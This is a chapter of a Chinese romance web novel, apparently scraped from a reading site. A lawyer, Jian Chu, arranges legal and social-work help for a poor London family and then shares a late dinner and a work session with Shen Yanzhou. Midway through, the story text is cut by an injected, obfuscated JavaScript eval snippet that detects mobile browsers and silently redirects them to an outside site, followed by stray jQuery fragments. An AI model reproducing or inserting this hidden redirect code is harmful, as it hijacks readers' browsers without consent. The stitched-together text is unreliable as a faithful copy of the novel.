22. 第 22 章

作品:《七日焰火

    Amelia是她法学院的同学,一个土生土长的英籍华人,毕业后没有选择去顶级律所赚大钱,而是投身于一家非盈利的妇女儿童保护组织,专门为弱势群体提供法律援助。


    当年简初那笔巨额捐款,也是和Amelia一起完成的。


    电话很快被接通。


    那头传来Amelia爽朗而带着惊喜的声音:“Jane?我的天,你终于想起给我打电话了!”


    简初唇角微扬,声音不疾不徐:“最近太忙了。”


    她没有寒暄太久,话锋一转,便直接切入了正题:“Amelia,我遇到一个案子,想咨询你一下。”


    她没有透露过多私人信息,只是将那个男孩的情况以一个抽象案例的形式,冷静而清晰地讲述了一遍。


    Amelia在电话那头安静听着,没有打断,等简初说完,她的语气也跟着沉了下来。


    “这种情况,在伦敦很典型。”Amelia说,“他姐姐的情况如果属实,建议她尽快去市民咨询局或JobCentre申请相关福利。但你知道的,这些申请流程极其繁琐,尤其对一个连母语都不是英文、又没有接受完整教育的单亲妈妈来说,难如登天。”


    简初一边听,一边打开笔记软件,飞快地敲下关键词。


    “而那个男孩——”Amelia顿了顿,“如果他还未满18岁,进入少管系统其实并不一定是坏事。那里面会分配固定的mentor,安排他完成基础教育,还有心理辅导和职业技能培训。说实话,对像他这种游荡在社会边缘的孩子来说,这可能是他人生唯一一次被关心的机会。”


    简初心中一动,放慢了呼吸。


    她等对方说完,才开口道:“Amelia,我想雇你。做那个女人的代表律师。”


    她语气一如既往地平静,却带着不容动摇的坚定。


    “她不懂流程,也不懂文件,连申请福利的信都写不出来。你知道的,很多底层人连自己的税单都不知道怎么报。”


    电话那头忽然响起一声轻笑。


    “Jane,你还是没变啊。理想主义的老毛病,一点没改。”


    简初没有接话。


    她握着手机,忽然想起自己曾经经手的一个案子。那时候,她为一个年轻男子做无罪辩护。她坚信那人是无辜的,是被冤枉的。案子打赢了,她赢得了一场漂亮的胜利,却也因此被那人跟踪了整整三个月。


    有一次夜归路上,那人将她拖进一条暗巷,用手紧紧勒住她的脖子。


    事后警方问她有没有什么征兆,她说有,可她没当回事。她相信人可以被改变,相信每一个人都值得被重新定义。


    她抬手摸了摸脖子,那里早已没了痕迹,却仿佛还残留着那种濒死前的冰凉触感。


    电话那头沉默了几秒,然后Amelia再次开口,声音温和而坚定:


    “但这个世界——”


    “需要像你这样的理想主义者。”


    简初没有说话。她望着窗外的光影,指尖依旧停在键盘上,心里却仿佛有某个地方,被这句话,轻轻击中。


    挂掉电话后,简初看着自己整理出的那份文档,心中已经有了清晰的计划。


    她先是起草了一份详细的指引文件,将如何申请各项社会福利的步骤、所需材料、申请地点和注意事项,都用最简单明了的中英文双语标注出来。


    然后,她给Amelia所在的妇女保护协会官方邮箱,发送了一封匿名求助邮件,详细描述了男孩姐姐的情况,并附上了地址,请求协会能够派一名社工,上门为她提供申请指导和心理支持。


    做完这一切,她才终于靠在椅背上,长长地吐出了一口气。


    她看着自己整理出的那份详尽的援助计划,心中那点因为男孩一家的困境而升起的沉重,终于被一种尽人事的笃定所取代。


    她站起身,想去客厅倒杯水。


    当她推开房门时,意外地看到沈砚舟正站在吧台前。


    他没有开电视,也没有看文件,只是安静地站在那里。客厅的光线很暗,只有一盏落地灯亮着,昏黄的光线勾勒出他沉默的侧影。


    他的左手,正费力地,试图拧开一瓶新的矿泉水。因为右臂被支架固定着无法发力,他只能用左手和身体别扭地较着劲,瓶盖却纹丝不动。


    他又试了一次,手背上青筋凸起,瓶身因为过度用力而发出了“嘎吱”的、塑料变形的声响。


    最终,他像是耗尽了耐心,烦躁地将那瓶水砰的一声,扔回了吧台上。


    那声响在寂静的房间里,显得格外突兀。


    这是简初第一次,在他身上,看到如此外露近乎于狼狈的挫败感。那个在商场上翻云覆雨、掌控一切的男人,此刻,却被一个拧不开的瓶盖,困在了原地。


    简初在不远处站了几秒,最终还是走了过去。


    她什么都没说,只是径直走到吧台前,拿起那瓶水。她的手指纤细,只轻轻一用力,瓶盖应声而开。


    她将那瓶已经打开的水,轻轻地放在了他面前。


    沈砚舟看着她,又看了看那瓶水,喉结微不可察地滚动了一下。他没有道谢,只是拿起水,喝了一大口。


    简初也没有立刻离开,她靠在吧台的另一侧,给自己也倒了杯水,然后用一种近乎于陈述的平淡语气,打破了沉默。


    “我下午出去了一趟。”


    沈砚舟的睫毛,轻轻颤动了一下,但他没有看她,只是从喉咙里发出一声极轻的:“嗯?”


    “我去了那个男孩家附近。”简初一边慢慢地喝着水,一边继续说道,“也看到了他姐姐。”


    沈砚舟喝水的动作,停住了。他终于转过头,深邃的目光,落在她专注的侧脸上。


    简初没有看他,仿佛只是在自言自-语:“他没有说谎,家里情况确实很糟。我联系了伦敦的一个同学,她在妇女儿童保护组织工作。我已经把那家人的情况,匿名发邮件给了她的机构,后续会有社工跟进,帮他姐姐申请她应得的社会福利。”


    她说完,将水杯放下,终于迎上了他的目光,眼神清澈而坚定。


    “但是,”她说,“我还是会起诉他。”


    沈砚舟看着她,看着她那双固执又清亮的眼睛,良久,才缓缓开口。他的声音有些沙哑,带着一丝连他自己都未曾察觉的、复杂的意味:


    “你总是要做这些……吃力不讨好的事。”


    这话里,没有赞扬,也没有批评,只是一种看透了她本质后,近乎于叹息的陈述。


    “没办法,”简初站直身体,将杯子放回原处,“这是我的工作,也是我的原则。”


    她说完,便准备回自己房间。


    在她转身的那一刻,沈砚舟却忽然开口,叫住了她。


    “简初。”


    她回过头。


    他看着她,眼神深沉。


    “谢谢。”


    简初看着他,看着他那双深沉的眼睛里,难得地,没有了往日的审视和压迫。


    她心头那点因为他过往行为而起的怨气,莫名就散了些。她收回目光,点了点头,算是接受了他这句迟来的道谢。


    “不客气。”她说完,便准备回自己房间,把空间留给他。


    “等等。”沈砚舟却又一次叫住了她。


    简初回头,眼神里带着一丝询问。


    只见他抬了抬自己那只还打着绷带的右臂,然后用另一只手,指了指桌上酒店的菜单,语气恢复了一贯的、理所当然的腔调:


    “我叫了酒店送餐。种类很多,我一个人吃不完。”他顿了顿,补上了最关键的一句,“而且,我右手不方便。”


    简初看着他,几乎要被气笑了。


    这个人,前一秒还在示弱,下一秒就已经开始熟练地用他那套资本家的逻辑,将他的需求,包装成一个她无法拒绝的解决方案。


    她本想说“你可以叫酒店服务”,但话到嘴边,终究还是咽了回去。


    “知道了。”她有些无奈地应了一声,走到他对面的沙发上坐下,抱起一个靠枕,“那就……恭敬不如从命了,沈总。”


    没过多久,酒店服务生推着餐车进来。


    菜品很丰盛,清淡


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16186860|180396||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的菌菇炖鸡汤、低脂蔬菜卷,是他特地交代厨房做的,适合伤口恢复;也有她爱吃的炙烤牛排和鳕鱼,摆盘精致,香味扑鼻。


    简初先帮他铺好了桌布,将托盘一一摆好,又熟门熟路地拆筷子,递到他左手边。她正要帮他夹菜,却见沈砚舟已经利落地拿起筷子,用左手夹了一块菜,动作流畅得让人挑不出错来。


    她眯了下眼,双手胞兄盯着沈砚舟,语气意味不明地说道:“合着你丫是在逗我啊,左手不是挺灵的吗?”


    沈砚舟微微一顿,显然这才意识到“露馅儿”了。他抬头看她,欲言又止,最后低声解释道:“今天才开始学的,可能悟性好。”


    简初嗤笑了一声,也没再多说,走到他对面坐下。


    她刚一落座,肚子就不争气地响了一声。


    沈砚舟挑眉看了她一眼,没出声,只是默默把她那份牛排推近了一点。


    简初也不矫情,拿起刀叉,低头大快朵颐。


    饭后,简初没有立刻离开。她看着沈砚舟,主动开口,将话题拉回了正轨:“你对那个男孩的家庭,有什么看法?”


    “没有看法。”沈砚舟的回答,依旧很现实,“那是伦敦千千万万个底层家庭的缩影,不是我们能解决的问题。”


    “我没想解决问题。”简初说,“我只是在想,Amelia说的改造,到底有没有用。”


    她将自己下午和Ameline的通话内容,以及自己的计划,简单扼要地,向他复述了一遍。


    沈砚舟安静地听着,没有打断。他看着她,看着她在谈论自己的专业和原则时,那双熠熠发亮的眼睛。他发现,她还是那个小女孩。


    “你的计划很周详,”他听完后,给出了一个中肯的评价,“但也很天真。你那个同学所在的机构,每年能收到多少封这样的求助邮件?她们帮得过来吗?”


    “帮不过来,也得帮。”简初说,“就像我们做律师,明知道不可能赢下所有官司,但接了案子,就得全力以赴。”


    沈砚舟没有再反驳。


    他只是换了个话题,语气随意,却像是在布置工作:“既然你这么有精力,那正好。Baker-Kerr的风险分析报告,我觉得你之前做的,还是太保守了。有些地方,可以再挖深一点。”


    “比如?”简初立刻进入了工作状态。


    “比如他们首席技术官的履历,和几项核心专利的申请时间线,我觉得对不上。”


    两人你一言我一语,竟就在餐桌前,就着几道温度早已散尽的菜肴,讨论起了工作。


    沈砚舟抛出战略层面的结构疑点,语气冷静而简练;简初则从法务与合规的角度逐一拆解、层层突破。一个站在全局看牌局,一个站在局内算分寸。她补足他的忽略,他缜密她的宽泛。


    唇枪舌剑之间,却没有半分火气,反倒有种少见的默契。


    就像是两块多年未曾并肩的齿轮,在经历了无数错位和撞击之后,终于在一个夜晚,精密咬合,纹丝不差。


    不知不觉,沙发前的文件已堆成一叠,窗外夜色深沉,钟点静悄悄地越过了零点。


    直到简初打了个轻飘飘的哈欠,沈砚舟才略微抬眸,注意到时间。


    “我先去睡了。”她站起身,伸了个懒腰,眉眼因为倦意而柔下来几分,“明天我把修改后的报告发给你。”


    “嗯。”他应了一声,声音低哑,语气却没什么起伏。


    简初走到自己房门口,手搭在门把上,动作顿了一下。


    她回过头,目光落在那盏孤灯下仍坐得挺直的沈砚舟身上,迟疑半秒,还是轻声道:


    “你也……早点休息。”


    话音落地,她没再多留,转身开门进去,背影干脆利落,门也关得稳稳当当。


    沈砚舟却没有立刻动。他只是盯着那扇门看了片刻,然后低下头,视线落回手边凌乱的文件上,嘴角极轻地勾了一下。


    脑子里,忽然就跳出一个荒唐又突兀的念头:


    ——其实,和她结婚,好像也不错。


    他不禁笑了一下,像是嘲笑这个荒唐的想法儿。